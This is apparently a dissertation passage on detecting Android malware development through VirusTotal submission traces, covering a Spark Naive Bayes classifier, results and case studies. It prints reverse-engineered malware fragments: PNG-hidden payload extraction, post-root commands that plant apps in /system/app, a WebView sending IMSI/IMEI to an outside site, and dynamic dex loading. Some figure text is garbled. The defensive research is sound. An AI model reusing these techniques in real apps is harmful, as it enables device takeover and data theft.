5.4.0.0.2 Naive Bayes Classifier in Spark-ML Since the Naive Bayes is a simplemulticlass classification algorithm 3, it can be trained very efficiently using one spark task.At the initial stage, to train our classifier, we use 2,998 submission traces as our trainingset, which include some SubIDs previously collected [23] and some SubIDs manuallylabeled by malware researchers from a leading security company. Based on the labeledsamples, 35 out of 2,998 are AMD cases. Thus, we have P (Y = suspicious) ≈0.0117 and P (Y = normal) = 1 − P (Y = suspicious) ≈ 1 − 1.17% = 98.83%.Meanwhile, based on our labeled training data set and all derivative features, we estimatethe conditional probability (P (xi|y)) of every feature (xi) based on different labels (y).Finally, we have the trained Naive Bayes Classifier based on the Formula 5.1:
Pr (Y = yk|X1...Xn) = Pr (Y = yk) ·∏i Pr (Xi|Y = yk)∑j Pr(Y = yj) ·
∏i Pr (Xi|Y = yj)
(5.1)
Whenever a new SubID is processed with a new/updated feature set, we run ournewly trained model on that feature set, and then the result (i.e., suspicious or normal) isgenerated within seconds. The model is trained and runs at the spark Machine Learningframework (spark.MLlib [98]). According to the problem nature and the designed
2The current feature generation also handles PE binaries and Mac-O binaries; however, our currenthunting primarily focuses on AMD cases and will analyze the executables of other OSes in the future work.
3For our Bayesian classifier, we assume conditionally independence between every pair of features.Other classifiers (e.g. bayesian networks, decision trees, etc.) do not assume features are independentconditioned on the class.
84
features, we set the model type as “Bernoulli”. We re-train our model whenever thesystem identified 100 new AMD cases. The AMD cases are labeled by the validator andlater confirmed by malware researchers. More features can be added during the processof manual verification.
5.4.0.0.3 Parallel sample analysis in Spark. After the alerter raises an alert on asuspicious trace, we schedule multiple Spark tasks for multiple analysis components (i.e.,package-level analysis, method-level analysis and view-level similarity analysis). Sinceall the analysis components are developed in python, we use python scripts to glue themand call the Spark task scheduler. For the runtime-similarity analysis, we use a set ofnodes running the emulator we built based on Droidbox, and the generated results areinserted into database and retrieved by a dedicated Spark task. After the detailed analysisfrom all the components is done for each suspicious trace, we use the Spark collect()
method to collect all the supporting evidences from the whole cluster for validationaccording to our validation rules. Also, the detailed analysis information in the memoryof Spark is directly parsed and inserted into predefined Cassandra tables with indexesfor further analysis.
5.5 AMD Hunting Result
We built the hunting system, and launched it on Oct 5th, 2015 in the aforementioned clus-ter with 20 nodes. Next we report the results till Jan 15th, 2016. For a total of 102 days,our system streamed and stored 432 million of submissions from VT, and the classifierevaluated all the new SubIDs and those SubIDs with new submissions. Some additionalresults can be viewed in the result site https://sites.google.com/site/amdhuntingresult/
5.5.1 False Negatives and False Positives
Till Jan 15th, 2016, our AMD alerter reported 3,076 suspicious AMD cases out of85,899 4. Then our validator helped us automatically confirm 1,625 of the 3,078 tracesas AMD cases. We first group 234 SubIDs into 78 clusters based on a similarity mea-surement of SubIDs in Section 5.5.2, and all the rest 1,391 SubIDs are not forming anycluster. For further manual examination and detailed case study, we picked 2 from each
4In total, we identified 978,447 unique SubIDs during the 102 days, 85,899 of which have Android apkbinary submissions.
85
SubID cluster and randomly pick 250 SubIDs from the rest SubIDs to form a set of 406SubIDs (about 25% ) from the 1,625. We only found two cases were false positives. Oneis a greyware tester, which provides automatic gaming points collection functionality ina cracked and repackaged game (SubID : 17378139 from Taiwan). Some samples fromthe other case have been labeled as a potentially unwanted program by some AV engines,which is a chat app named galaxy app from the SubID f6b47657. The developer wastesting different versions of this app on VT.
Based on the above sampled verification, the false positive rate of our hunter is 2/406(0.49%). This demonstrates that with the validator, our system can report the AMDcases at a very low false positive rate. We also cluster the 1,451 non-validated cases from3,076 suspicious AMD cases and the pick 20% from the set similarly and found no AMDcase. This indicates that our system has a very low false negative rate. All the confirmedAMD cases and the corresponding logs used for validation have been inserted into tablesin Cassandra with indexes for a final-step double examination and analysis by severalmalware analysts.
For the alerter alone, our result shows that at around 53% (1,625/3,078) of the alertedcases are further confirmed as AMD cases, which is acceptable for the pre-filtering phase.Moreover, due to the large volume of cases, it becomes very challenging to measure thefalse negative rate. However, we still performed some measurement based on limitedtime. For the rest 82,823 cases that do not raise any alerts, we randomly picked 1% fora manual check. We found no suspicious AMD cases. We are also aware that a betteralerter with low false positive rate and low false negative rate can help improve theefficiency of the validator, which will make the whole system more effective.
5.5.2 General AMD Analysis
In this section, we perform general analyses on the 1,623 identified AMD cases, regardingsubmission location distribution, sample-similarity based SubIDs grouping, evasive traces,new variants and AV reactions etc.
5.5.2.0.1 AMD Location Distribution. Table 5.2 in the Appendix shows that the1,623 submitters are distributed across 83 countries with a total of 13,855 malwaresamples. From the distribution map in Figure 5.3, we can observe that most of thesubmitters and the samples were from the US, China and Russia. China had the largestvolume of submitted malware samples and US had the largest number of AMD submitters.
86
30/10
106/31
185/9
759/145(# of samples / # of subids)57/20
2109/193
315/39
2538/172
153/39
269/23
129/31
# of SubID (100, 200]
# of SubID in (30, 100]
# of SubID in (9, 30]
# of SubID in [1, 9]
Figure 5.3: The 1,623 AMD cases across 83 countries
The other countries with most submitters were Mexico, Brazil and several Europeancountries.
The average numbers of samples per AMD submitter are quite close in differentregions, mostly around 10 malware samples/submitter and no more than 25 samples/sub-mitter. One interesting case was SG (the Singapore region), which had an average of 74.7submissions/submitter. Later, our sample-similarity-based SubIDs grouping helped usidentify a malware writer (with several SubIDs) from SG, who is using an API with 13accounts to perform several batch testing on many evolving samples the SubID group isshown in Figure 5.4. Through analyzing the C&C server domain, and VT uploading filepath, etc,. we were able to identify that the malware writer is a Ph.D student in a famousuniversity in Singapore.
Since we do not know how VirusTotal exactly decides the submission location, weadmit that the labeled submission location from VT might not match precisely with thephysical location of the submitter. Hence, the distribution here is a rough estimation ofthe situation. If IP to geolocation mapping is used, the location information might notalways be very trustworthy, as we did observe a few SubIDs (2%) using the tor network.
87
Table 5.2: The Distribution of 83 Countries ((Cntry)) of the SubIDs (ID), and theirMalaware Samples Counts (MalCnts)
Cntry # of IDs MalCnts AvgSize Cntry # of IDs MalCnts AvgSize Cntry # of IDs MalCnts AvgSize
US 193 2109 10.9 CN 172 2538 14.7 RU 145 759 5.23DE 90 259 2.87 JP 78 486 6.23 TW 57 287 5.03KR 56 190 3.39 HK 41 322 7.85 ES 40 224 5.6ZZ 39 185 4.74 MX 39 315 8.07 BR 39 153 3.92UA 38 178 4.68 GB 38 221 5.81 IT 34 145 4.26FR 34 242 7.11 VN 32 95 2.96 TR 31 106 3.41IN 31 129 4.16 SG 30 2243 74.7 HU 27 115 4.25
MY 26 146 5.61 CO 24 206 8.58 AR 23 269 11.6NL 22 158 7.18 PL 20 127 6.35 CA 20 57 2.85TH 13 92 7.07 IL 13 179 13.7 ID 13 31 2.38BY 11 33 3.0 EC 10 74 7.4 AU 10 30 3.0PE 9 52 5.77 EG 9 30 3.33 CL 9 41 4.55AE 9 185 20.5 RO 8 17 2.12 CH 8 35 4.37AT 8 21 2.62 VE 7 103 14.7 SA 7 38 5.42CZ 6 17 2.83 RS 5 62 12.4 PT 5 12 2.4PK 5 93 18.6 MA 5 10 2.0 HN 5 38 7.6FI 5 23 4.6 SI 4 53 13.2 SE 4 31 7.75KZ 4 19 4.75 DZ 4 12 3.0 BE 4 12 3.0UY 3 45 15.0 SV 3 12 4.0 PR 3 15 5.0BO 3 7 2.33 PH 2 4 2.0 MO 2 4 2.0LU 2 26 13.0 LT 2 4 2.0 KE 2 4 2.0JO 2 7 3.5 GR 2 6 3.0 DK 2 10 5.0BG 2 4 2.0 AM 2 4 2.0 ZA 1 3 3.0SK 1 3 3.0 PA 1 10 10.0 NG 1 8 8.0MK 1 2 2.0 MD 1 2 2.0 LY 1 2 2.0KG 1 2 2.0 IS 1 16 16.0 IQ 1 5 5.0IE 1 20 20.0 GT 1 12 12.0 DO 1 4 4.0BU 1 2 2.0 BA 1 2 2.0 AZ 1 3 3.0
5.5.2.0.2 Sample-based Similarity Grouping of AMDs. Another interesting analy-sis that we have done is to group the identified SubIDs (1,623) into clusters based on theirsample similarity. Specifically, we make pair-wise similarity of all the 1,623 SubIDs,which contains a total of the 13,855 samples. First, we measure the sample-similaritybetween two SubIDs based on (F1) runtime FV, (F2) static view structure, and (F3) staticmethod. This process is very quick, as we have all the intermediate results previouslycomputed and we do a lazy evaluation for these three ordered similarity measurement.For each pair, if (F1) measured and returned as similar, we will not further evaluate (F2)and (F3). Based on such pair-wise similarity measurement among samples, we thenperform the grouping for the SubIDs. Whenever there is a pair of SubIDs (A, B) thatshare more than 40% of similar samples (i.e., # of shared similar samples/MIN(A, B)),we will add them into a similar group. We perform this for all the SubID pairs untilall the SubIDs are processed and put into groups. All the grouped SubIDs are listed inTable 5.4. We can see that a total of 234 (14.4%) SubIDs are forming 78 clusters, fromwhich we randomly analyzed 20 groups and find all of them are developing Androidmalware with close functionalities, including malware SDK development cluster 19 inTable 5.4), the aforementioned Ph.D student in Figure 5.4, and Bank Trojans (cluster 75
in Table 5.4) and etc. Thus, this analysis demonstrates that some of the malware writersare willing to use multiple accounts or keep on changing IPs for its submissions, which
88
708a25f9
148106f1
32054545
d09efac1
acfa3e55
121835ac
8135a2ec
63685577
3258b4b1
8089f91d
b1f875b2
9615f9db
f57fa2fb
Figure 5.4: One Example Result of the Sample-Similarity Based Grouping of SubIDs(from SG that Developing Evolving Samples); Node is a SubID, edges Represent SubIDsthat Sharing Similar Samples
makes the AMD-hunting even more difficult.
5.5.2.0.3 Evasive Traces. One main reason for the existence of AMD cases is thatmalware writers keep on changing the malware samples so that the later version couldevade the detection of the latest antivirus detectors. We defined a submission trace withsuch a pattern as an evasive trace in Section 5.2. Hence, identifying and understandingthese evasive traces can help understand the weaknesses of antivirus engines. For eachSubID from the 1,623 confirmed traces, we further put all the samples in a trace intodifferent sub-similarity clusters (based on static and dynamic similarity measurementdescribed in Section 5.3.2). We order the samples in each sub-similarity cluster based ontheir submission timestamps and their corresponding positive numbers, and then check ifthe trace is an evasive one. Figure 5.5 shows all 99 identified evasive traces. The x-axisshows the corresponding SubID and the number of versions it submitted for the reducedpositive number, and the y-axis is the positive number. The upper line connects all theoriginal positive numbers and the lower line connects all the reduced positive numbers.For example, in the 9d5e7d11-[2] case, the SubID is 9d5e7d11, [2] indicates that 2 extraversions are submitted for testing, and positive number is reduced from 39 to 21. We
89
Table 5.3: The Distribution of Positive Numbers (PosNum) based on the Submission-timeScanning Results Recorded in the Database
Result from 58 vendors Percentage # of SamplesPosNum: 0 vendor 63.75% 8,833PosNum: 1 vendors 9.77% 1,354PosNum: 2 vendors 3.77% 523PosNum: 3 vendors 2.63% 365PosNum: 4 vendors 3.59% 497PosNum: 5-10 vendors 4.53% 628PosNum: 11-20 vendors 5.38% 746PosNum: 21-30 vendors 5.90% 818PosNum: 31-60 vendors 0.66% 91Total of 58 vendors 100% 13,855
can observe from the figure that 45 traces have been reduced to 0 and only 3 traces hadoriginal positive numbers larger than 25. This indicates that most of the evasive cases arenot widely-recognized by all the AV engines.
We further checked all the traces that were reduced to 0 by drawing them on a100-day timeline (i.e., 15000 * (10) minutes on the x-axis of Figure 5.6). From thefigure, we can see that 26 of the cases have a steep-down line, as they are submittedwithin a very small time window (around 20-30 minutes). This indicates that somemature tools or techniques have probably been adopted by malware writers to performmalware manipulation, obfuscation or packing, etc. Also, based on our observation, veryfew of the evasive cases have a period of more than a month. Our conjecture is thatmalware writers probably keep switching accounts once a while (e.g., one VT accountfor a project), which matches the result in the SubID grouping analysis.
We picked some of them for further analysis and made several new findings aboutAndroid malware, including steganography techniques used for payload hiding, buildingmalicious code logic into JavaScript for evasion, malicious SDK development traces andetc, which will be elaborated in Section 5.6.
5.5.2.0.4 Zero-day Variants Analysis. Table 5.3 shows the distribution of positivenumbers based on first-time submissions, as recorded in our system (some samples weresubmitted and re-scanned several times with different positive numbers). For all the13,855 samples from the 1,623 submitters, a large portion (63.75%) of them are 0-day ornew malware variants with 0 positive numbers.
90
56522f24-[3]b7039933-[1]acd00842-[7]9b033476-[2]5186d618-[4]f3aba94a-[3]97345c2b-[1]a44e0e10-[9]d56fec33-[1]b5816f06-[2]8cd01740-[3]9d5e7d11-[2]9270bd36-[1]648e2df6-[2]a836485d-[1]b9abf1c8-[1]
a836485d-[10]dcbe8212-[8]551bf146-[5]6a14b8cb-[5]a836485d-[6]bab64e8d-[2]
5186d618-[12]3e8803c6-[1]a5512f6f-[2]
9019d5cc-[2]56522f24-[5]579319db-[4]611749e5-[1]d61836d3-[7]129dd9fd-[2]ac4deb0d-[3]39f48be1-[1]9c004db4-[5]fdcf0a1a-[11]396c6017-[2]d37677f7-[2]8a24873f-[2]5a73740b-[9]
8cd01740-[12]648e2df6-[4]8cd01740-[1]510bca8f-[3]
396c6017-[2]4aeb22e2-[1]c8c04a34-[2]87d80d73-[2]acd00842-[1]66e294a9-[3]9eda3c1a-[6]bc9e1f6a-[5]56522f24-[1]46500d65-[1]c555bc30-[1]1568da6e-[8]
3e8803c6-[17]51d0d4c9-[2]48346593-[2]51d0d4c9-[1]85f2688a-[1]56522f24-[4]b661a75a-[3]34e61a16-[2]9524ccda-[1]407ed166-[1]35d48fce-[3]
37eb4619-[2]48346593-[1]0a26a2a6-[1]6e63e674-[3]
0c9ef48f-[5]039af2a7-[2]616d3ce8-[6]bf13329f-[2]
8580c6de-[1]72f211a5-[2]b9abf1c8-[2]
97c02033-[1]0c9ef48f-[1]
953ba169-[1]c03b62a2-[1]351d91fb-[1]9fd4975d-[1]56522f24-[6]8f5a4d09-[8]b7b1082d-[4]f79a3c80-[3]
b7039933-[9]a24bff8b-[1]0c9ef48f-[1]
d2df1e86-[2]9396e70a-[1]b7039933-[3]b7b1082d-[2]745a38c8-[1]f94970a7-[6]35d48fce-[3]a5512f6f-[2]fc223d62-[3]
Su
bID
an
d N
um
be
r o
f E
vo
lvin
g V
ers
ion
05
10
15
20
25
30
35
40
Positive Number
Pre
vio
us P
ositiv
es
Re
du
ce
d P
ositiv
es
Figu
re5.
5:So
me
Eva
sive
Cas
esB
ased
onSu
bID
s;X
-axi
sis
the
SubI
Ds
and
Y-a
xis
isth
eA
naly
sis
Posi
tive
Num
bers
from
Mor
eth
an55
vend
ors
91
01
00
02
00
03
00
04
00
05
00
06
00
07
00
08
00
09
00
01
00
00
11
00
01
20
00
13
00
01
40
00
15
00
0T
ime
Un
it (
in 1
0 m
in)
01234567
Positive Number
Figu
re5.
6:So
me
ofth
eE
vasi
veSu
bmis
sion
Trac
esD
raw
ona
Tim
eL
ine
(X-a
xis)
of10
2D
ays
Split
sIn
to15
000
Tim
eU
nits
(10
min
utes
fore
ach
unit)
and
Y-a
xis
isth
eA
naly
sis
Posi
tive
Num
bers
from
Mor
eth
an55
vend
ors
92
20151220 20160103 20160103 20160107 20160107 20160111 20160111 20160115Dates
0
2000
4000
6000
8000
10000
12000
Num
of S
am
ple
s
Distribution of Sample Positives over the Period
New samples New samples New samples
posnum0posnum1posnum2posnum3posnum4posnum5-10posnum11-20posnum21-30posnum31-60
Figure 5.7: Changes of positive number distributions for samples collected till 2015-12-20
We randomly selected about 10% (890 samples) from these 0-day (variants) samplesfor further validation with malware analysts. The validation process has two steps. First,whenever a pair of samples from the same SubID have (method-level/runtime) similarity,we will temporarily use the label from the known malware for the unknown variants. Thishelped us confirm 432 malware variants. For the rest 458 samples, a further similaritymeasurement was done against a large dataset of known malware from the company. Wewere able to confirm that 320 from this dataset are also malware variants. For the rest 138,we performed manual checking and more detailed analysis to find the potential 0-daysamples (e.g., new bank phishing samples, new fake system apps and etc.). Some selectedanalysis details are presented in Section 5.6. With the help of the malware analysts fromthe company, we were able to confirm all of them are true positive samples. The detailsof this dataset can be viewed on our result site. In the meanwhile, we have notified mostof the other vendors for all these 8,833 undetected cases and they will further analyzethese samples and share their insights with us.
5.5.2.0.5 Trend of Positive Numbers Changing. To check how well the AV engineson VT have reacted to the set of samples we identified based on AMD cases, we conducteda positive number evolving trend analysis starting from Dec 20th, 2015. In Figure 5.7, the1st stack-bar (on the leftmost) shows the positive number distribution of all the samples(11,887) from the identified 1,239 SubIDs on Dec 20th, 2015. We then performed are-scan on VT after two weeks (on Jan 3, 2016) for the same SubIDs and the same
93
set of samples (i.e., 2nd stack-bar). Around 500 new samples from these SubIDs wereidentified (depicted in the stack-bar right next to it), and it shows that most of them had 0positive numbers. Then we performed the same analysis for the 1,239 SubIDs on the 7thand 11th of Jan, respectively. From the four high stack-bars, we see the trend that mostof the non-positive samples are updated with larger positive numbers, which means morevendors will be able to label the “detected” samples by following other vendors’ label orupdate their signature database accordingly.
Figure 5.8: 0-day Sample (a464b) laterconfirmed by a few AV Vendors on VirusTotal Web Portal
Figure 5.9: 0-day Sample (ec662) laterconfirmed by a few AV Vendors on VirusTotal Web Portal
While some of the 0-day samples were detected by a few AV engines, they onlyaccounted for a small portion (less than 500 out of the whole 7,789) during the three-weekperiod. In other words, the current AV engines cannot yet detect most of them. In fact,among the aforementioned 890 0-day samples we confirmed previously, 198 were in thisexperiment and only two of them were later detected by some AV engines. The changesof AV scanning results of the two are shown in Figure 5.9 and Figure 5.8. Most of the0-day samples that we re-scanned are still shown zero positive numbers (e.g., the ones inFigure 5.17). This clearly signifies the early warning capability of our system.
5.6 Case Study
5.6.1 New Threats from Fake System Applications
A new trend of spreading Android malicious apps is by installing apps into “/system/app”directory after rooting the devices or embedding them into customized ROMs. To makeit difficult to be found by users, such malware samples always use similar package names
94
as system apps, for instance, “com.android.xxx”. In our study, we discover severaldeveloping traces that perform rooting and stealthily install fake system service apps, andthese malware can also be embedded into customized ROMs for spreading. This causesa more persistent threat as users often consider the apps under the system folder are fromphone carriers and thus should be risk-free.
For instance, our system reported a trace (SubID f9106582). Two apps in the tracewere submitted onto VT on 11/28/2015, with similar functionality but obfuscated todifferent fake system app names. They all try to get the root privilege and then to installthe payload app into the “/system/app” folder. The relevant reverse-engineered code isshown in Figure 5.13 (payload decryption) and Figure 5.14 (post-rooting operations). Oursystem identified this case based on the supporting evidence H1 that their VT submissiontimes are very close to the compilation times revealed by their classes.dex files.
The other eye-catching trace identified by our system uses the BaiduProtect [99]techniques to pack one of the fake system apps, which roots the device after beinginstalled. Our system identified this trace based on the validation rule v4. While allthe static similarity support evidences return false, the runtime similarity measurementreturns true. We confirm this as a potential obfuscation/packing scenario in an AMD case.It is worth noting that a sample submitted from the same SubID is a modified versionof system script “install-recovery.sh” with two lines “/system/xbin/conbb ac32dorbdq”“/system/bin/configopb ac32dorbdq” added. This script is usually invoked by the init
process to install updates over-the-air for Android devices. By overwriting this script,the hacker can change system files (e.g., adding “su” or “conbb” here) without replacingthe whole system image. This makes the root more persistent.
5.6.2 New Phishing Development Techniques
Phishing has been a severe threat against online activity for a long time, by leveraginga variety of techniques such as faked URLs with seemingly identical domain names,repackaged apps with malicious logic implanted, and rogue emails with links to infectedwebsites. Based on our study, a different phishing technique is emerging with new formsin Android.
We initially identified and validated a trace (4746befb, from Ukraine) through thesupporting evidences H1 and H2, which mean that the malware sample compilationtimestamps match well with the submission timestamps, and most of the timestamps
95
among the samples are identical (basically a continuous developing case). The phishingapps in the trace can monitor the status of the foreground activity and have the ability tophish for and harvest authentication credentials when some specified target (banking)app is launched in the foreground. We find that samples from this trace targets about adozen of mobile banking apps in Australia, Singapore, HongKong, US and etc.
Figure 5.10: The fake log-in UIs for phish-ing Bank of America credentials
Figure 5.11: Some of the Fake Log-in UIsfor Phishing Mobile Banks from DifferentCountries
With the AMD-hunter’s continuous tracking capability, we later identified moresamples from this submitter and other submitters of this kind (e.g.,c9e0b761, 8954e2e2)via sample-based grouping of SubIDs (the cluster 75 in Figure 5.4). Our system hasfound that they all shared the same code logic. After further validation, we confirmedthat they were using the same log-in UI hijacking code, but targeted at banking andfinancial institutions in other countries. The newly added mimicking log-in UIs for Bankof America can be viewed in Figure 5.10 and some more in Figure 5.11. After ouranalysis, we found these samples evolved by adding more targeted mobile banking appsand more fake banking log-in UIs.
Besides targeting mobile banking users, this family of phishing attacks also stealsthe log-in credentials of other online services (e.g., Twitter, Facebook, Whatsapp, Skypeand Google Play, PayPal and etc.). Thus, we have discovered a big ongoing malwarecampaign.
96
public static File prepare(Context arg8) {FileOutputStream v4;BufferedReader v2;FileOutputStream v3 = null;v2 = new BufferedReader(
new InputStreamReader(arg8.getAssets().open("img/out.png"), "UTF-8"));}
String v0 = v2.readLine();while(v0 != null) {v0 = v2.readLine();if(!"12345678901234567890".equals(v0)) {
continue;}v0 = v2.readLine();v4 = new FileOutputStream(Utils.outputFile);v4.write(Base64.decode(v0, 0));}static File outputFile;static {Utils.outputFile =new File(Environment.getExternalStorageDirectory()
+ "/prefix.apk");}}
Figure 5.12: Install Apps in the Background
5.6.3 New Hiding Techniques for AV Evasion
Based on the validation rule v4, our AMD hunter identified a new trace of samples (SubIDc9e0b761), which have totally different code but share common runtime behavior asfound by our dynamic analysis. These samples applied a novel hiding pattern, which is atype of steganography techniques. Specifically, a valid PNG file in the asset directory isused to hide the malicious payload and the surreptitious code is recovered from the PNGfile by runtime unpacking techniques. Previously, researchers only discovered invalidimage files for malicious payload [22]. To our best knowledge, this sophistication forhiding malicious payloads has not been discovered or discussed before.
In Figure 5.12, the reverse-engineered code shows that the function prepare() willopen a file named “img/out.png" in the assets directory. When it locates a string equal toa hardcoded string, it reads the following line, treats it as a Base64 encoded string, andconverted it back using Base64 decoding scheme. The decoded content will be savedinto a file named “prefix.apk” in the original app’s data directory. The static similarityanalysis of AMD-hunter reveals that this hidden, extracted “prefix.apk” is actually anew type of ransomware app. At the time of writing this paper, all the 56 vendors onVT are keeping silent about it (sample 4a143). This case shows that AMD-hunter hasthe capability in identifying zero-day Android malware and its new variants, as wellas tracking their development in both aspects of functionality extension and detectionevasion.
97
5.6.4 New Rooting Development Techniques
Rooting attack is one of the most serious attacks for Android devices. Previous researchshowed that some exploits were embedded in Android malware for getting the rootprivilege. In the following, we show some developing cases identified by our system toreveal a new trend of Android rooting development, which shows that more and moreAndroid malware are trying to reuse existing rooting tools or apps to get the root privilege.
The first case of this kind is a developing trace (SubID 0cdd58b0) validated accordingto our validation rule v3 logic, which uses the static code similarity measurement amonga trace. Compared with an old version 44e0f malware, a new version 219c0 adds a“krsdk” rooting component. This component loads an existing rooting exploit (i.e.,“libkrsdk.1.0.18.so”), which is copied from a benign popular rooter “KingRoot” [100]).After the rooting, some post-rooting operations are performed. For instance, anothermethod in the same component will invoke “rootShell.executeCommand2(’mount -orw, remount /system’)” to remount the important /system folder. Then it invokes “pminstall -r -d /system/app/Kinguser/Kinguser.apk” command to stealthily install a rootmanagement app. In this way, it can prevent other apps from getting the root privilegeon the rooted device to protect itself from being removed. Another sample (16892) thatreuses the “KingRoot” is from the trace (SubID 443b24ef), which has also been confirmedby our system as an AMD case and later grouped into the cluster 66 in Figure 5.4.
Another AMD case (SubID b7cf0bd5), which reuses components (mgyun package)from an existing rooting tool iRoot [101], has also been directly identified by our systemthrough the validation rule v2. Basically, our validator tells us that the samples fromthis SubID are all signed by the same developer key (H3) and their static similaritymeasurements are very close (M2, M3). We also identified some traces developing andtesting very recent exploits (e.g., Stagefright exploit in Android based on (cve-2015-1538)in trace 62e613b2).
5.6.5 New Threats from JavaScript Loading
Webview provides a new attack surface on Android system. Android malware can use theJavaScript language to implement part of core logic to evade static detection and to opena backdoor for receiving attack commands. For instance, we found a “xvideo” familywith three evolving versions from trace 4002726b, which contains version A: 22afa ,version B: cfa0b and version C: 2393d. This family enables the JavaScript interface (in
98
if(arg5 != null && arg5.length() == 0x10) {SecretKeySpec v1=
new SecretKeySpec(arg5.getBytes(), "AES");Cipher v0_1=
Cipher.getInstance("AES/CBC/PKCS5Padding");v0_1.init(1,((Key)v1),
new IvParameterSpec("010203040**".getBytes()));v0=e.Y(v0_1.doFinal(arg4.getBytes())).toLowerCase();
}
String v0_1 = arg4.getAbsolutePath().replaceAll(".jar", ".dex");
arg4.delete();new File(v0_1).delete();private void g(String arg5, File arg6, File arg7)
File v0 = new File(arg7, "etemp");if(v0.exists()) {v0.delete();}d.g(arg5, v0, arg7);if(!v0.exists()) {throw new Exception("download destfile fail");}
e.g(e.g(new byte[]{0x70, 0x65, 0x73, 0x73, 0x77}),new FileInputStream(v0),new FileOutputStream(arg6));
v0.delete();if(!arg6.exists()) {throw new Exception("decrypt destfile fail");}}
Figure 5.13: Decrypting and Loading the Payload
Figure 5.15) and exposes several JavaScript interfaces for accepting attack commandsfrom a malicious website.
In version A, it loads a malicious URL to upload some sensitive information. Inthe sendMsg() interface (in Figure 5.16), it calls the sendMsg() function to register a“SEND_SMS_ACTION” SMS-send receiver for intercepting outgoing SMS, and sends amessage to a destination number. Both the message content and the number are from themalicious JavaScript.
In version B, some obfuscation techniques are applied to hide the plain text ofthe malicious URL. Besides, the sendMsg() JavaScript interface dynamically loads a“loader_dex.jar” file to execute the attack payload instead of sending SMS. In version C, itadds more system event listeners (e.g., BOOT_COMPLETED, WIFI_STATE_CHANGED
and etc). It can monitor the system installer and pop up a new installing view to installanother malicious app when the user is installing a benign app. Compared with versionA, version C intercepts specific outgoing SMS by keywords received from the maliciousURL, and sends the hijacked SMS as “msg.dat” back to the attacker’s server.
Our sample similarity based SubID grouping identified another trace (9a7784fd) ( incluster 40), which develops a sample (93172) with more advanced evasive techniques
99
((List)v1_2).add("rm /system/app/" + f.C() + ";");((List)v1_2).add("chown 0:0 " + v0_5 + ";");((List)v1_2).add("chmod 755 " + v0_5 + ";");((List)v1_2).add("rm /system/app/" + f.C() + ";");if(f.w()) {((List)v1_2).add("cp -p " + v0_5 + " /system/app/"
+ f.C() + ";");}else {((List)v1_2).add("cat " + v0_5 + " > /system/app/"
+ f.C() + ";");((List)v1_2).add("chmod 0:0 /system/app/"
+ f.C() + ";");((List)v1_2).add("chmod 755 /system/app/"
+ f.C() + ";");}((List)v1_2).add("sleep 5;");((List)v1_2).add("pm disable " + f.c() + ";");((List)v1_2).add("sleep 1;");((List)v1_2).add("pm enable " + f.c() + ";");((List)v1_2).add("rm " + v0_5 + ";");}}
Figure 5.14: Post-rooting Operations
//new a WebView instancemWebView.getSettings().setJavaScriptEnabled(true);mWebView.addJavascriptInterface(
new JsObject(this), "JSInterface");mWebView.setWebViewClient(new WebViewClient())
// loadWebViewprivate void loadWeb() {Object v2 = this.getSystemService("phone");String v3 = String.valueOf("http://www.xxfilm.net/")+"?imsi="+((TelephonyManager)v2).getSubscriberId()+"&imei="+((TelephonyManager)v2).getDeviceId()+"&v="+this.getVersion();Log.e(MainActivity.TAG, "loadWeb url=" + v3);this.mWebView.loadUrl(v3);new Thread() {public void run(){MainActivity.this.checkVersion();}}.start();}
Figure 5.15: Create WebView and the “loadWeb()” Function
by JavaScript. The control flow is from Java code to JavaScript, and then goes backto Java code. To invoke Java methods from JavaScript, it uses the similar code in the“xvideo” samples from 4002726b in the same cluster. To invoke JavaScript methods fromJava codes, this sample uses the Mozilla Rhino, which provides scripting to end users byembedding in Java applications. This shows that the malware writer does change SubIDsduring malware development.
100
@JavascriptInterface public voidsendMsg(String arg4, String arg5){Log.e(TAG, "send receiver="+arg4+",content="+arg5);e v0 = f.a(MainActivity.this);Log.e(MainActivity.TAG, "test ");v0.a(MainActivity.this, arg4, arg5,
new MainActivity$JsObject$3(this));}% attack function v0.a().f.b = String.valueOf(v0)
+ File.separator + "loader_dex.jar";new File(f.b);f.a(arg6, "loader_dex.dat", f.b);v1=new File(String.valueOf(arg6.getCacheDir().toStr())
+ File.separator + "loader_dex.jar");DexClassLoader v01 =
new DexClassLoader(v1.getAbsolutePath(),arg6.getCacheDir().toString(),arg6.getClassLoader());f.a=v01.loadClass("com.rt.api.Loader").newInstance();new File(String.valueOf(arg6.getCacheDir().toStr())+
File.separator + "loader_dex.dex").delete();v1.delete();}
Figure 5.16: The “sendMsg()” Function and Dynamic Code Loading Behavior
5.6.6 Aggressive SDK Developing
Through observing the evolution of samples, we also found the evolution of aggressiveSDKs. The AMD-hunter helped us identify two traces (A: acdf34f8 and B: 3503d457
in cluster 19), which are testing an aggressive SDK "kk SDK" (trace A has 43 testingversions, and trace B has 134 testing versions). Most of them are still not reported asmalicious on VT.
“kk SDK” is an aggressive app promotion SDK. It can download promoted appsfrom the developer’s C&C server and then automatically install apps in the backgroundif the device is rooted. The code logic is presented in Figure 5.12. It can also collectthe installing and uninstalling information of all packages and send it back to the C&Cserver. Since it has the C&C behavior, it will probably be used for spreading maliciousapps by attackers. Compared with trace A, trace B adds some features to ask users toinstall promoted apps if the device is not rooted, including 1) aggressively popping upnotifications to ask for installation; 2) aggressively creating shortcuts.
In another trace (SubID a41202a6, with 69 versions of malicious SDKs) we ana-lyzed, some samples (e.g., ae2d5 and c84ad) named com.system.updater are revealinga developing case of a demo app for pushing aggressive app promotion ads, which hasa C&C channel for remote commands. Although all malicious functions are complete,the server address in the code is still “www.baidu.com”, as the default value for future
101
large-scale customization. We believe that this demo app will be spread to other malwaredevelopers or distributors.
Our system also identified two AMD cases, 717e70b3 and 39f392be, which aregrouped to cluster 24. These two traces formed the evolving cases with samples (“A”:ddda0, “B”: 19c37 , “C”: d96d6) that contain a malicious SDK “fqhx”. The fqhx
SDK has BaseAdSDK and BasePaySDK modules. BaseAdSDK is used for pushing ads.BasePaySDK is used for the 3rd-party pay. The evolution from version A to version C isworth our attention. “A” downloads and installs the SDK file from a server, but the SDKfile is decrypted from the “sr.so” file in “B”. Besides, “B” adds a rooting module andmore functions into the “utils” module. “C” adds another BasePaySDK based on “B”.
Moreover, some traces develops the root SDK. For instance, traces 87e6bd3b andf94970a7 show the behavior of developing and testing a root SDK on VT before integrat-ing it into a carrier app (e.g., games, browsers).
5.7 Limitations
